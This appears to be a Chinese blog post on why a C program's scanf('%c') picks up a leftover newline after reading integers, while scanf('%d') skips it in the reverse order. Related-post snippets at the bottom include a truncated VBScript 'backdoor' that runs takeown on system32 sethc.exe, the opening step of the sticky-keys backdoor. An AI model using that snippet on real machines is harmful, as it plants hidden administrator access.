嗐,好多天沒有寫了,今天記錄下吧~,挺有意思的,但原諒本人非計算機專業,不知道作何解釋
先看一段**:
//先讀入整數型,再讀入字元型
int a,b;
//整數型
printf
("輸入兩個整數:\n");
scanf
("%d%d"
,&a,
&b);
printf
("a=%d,b=%d\n"
,a,b)
;char c;
//字元型
scanf
("%c"
,&c)
;printf
("%d\n"
,c);
然後看下執行結果:
注意:c在這我用的是%d的輸出格式,c原本應該是乙個換行符「\n」
上面,我們只輸入了兩個整數1、2,結果卻輸出了三個值,這是為何?
沒錯,原因在這裡:
在我們輸入兩個整數1 、2後,同時按下了乙個換行符。
此時1 和 2分別賦給了a、b,但是換行符不會自動消失,它還停留在緩衝區內,所以當下乙個變數需要進行使用者輸入賦值時,這個換行符便會從緩衝區裡出來賦給這個變數(也就是這裡的c)。
什麼是緩衝區?
接觸過語言的人,可能多多少少都知道些吧,我對緩衝區的理解:
當你輸入的數值個數多於當前要賦值的變數個數時,多餘的數值便會暫時儲存在緩衝區內。所以在進行下一次賦值時,如果緩衝區內有值,系統不等你輸入,就優先使用緩衝區裡的值了。(具體是什麼可以去搜下)
沒錯,上面這個東西大部分人都知道,所以重點不是它,只是要用它引出下文
老規矩:先來看一段**:
//先讀入字元型,再讀入整數型
char a,b;
//字元型
printf
("輸入兩個字元型資料:\n");
scanf
("%c%c"
,&a,
&b);
printf
("a=%c,b=%c\n"
,a,b)
;int c;
//整數型
scanf
("%d"
,&c)
;printf
("%d\n"
,c);
沒展示結果前,大家不妨猜一下會出現什麼結果?有沒有和我一樣的答案?
例如輸入ab(換行符)
猜想輸出:a=a b=b c=10
一起看下執行結果吧:
是的,沒錯,上面還沒有執行結束,系統還在等著我輸入c的值
為什麼呢?,換行符呢?
我也有大大的疑問,換行符呢?
不過該總結還是總結:
先輸入整數型,再輸入字元型時,後續字元會把前面殘留的換行符也讀入
先輸入字元型,再輸入整數型時,換行符不會讀入,該怎樣輸入就怎樣輸入
有意思的話
1 要麼忍,要麼殘忍 2 下輩子我要做你的一顆牙,至少,我難受,你也會疼 3 心不動,則不痛 4 我們唯一的關係是沒有關係。5 你會流淚,並不代表真的慈悲 我會微笑,並不代表一切都好。6 孤單 是 你心裡面沒有人 寂寞 是 你心裡有的人卻不在身邊 7 冬天裡你給了我乙個夏天的夢 卻把我在春天叫醒了 ...
有意思的後門
dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...
有意思的number format
申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...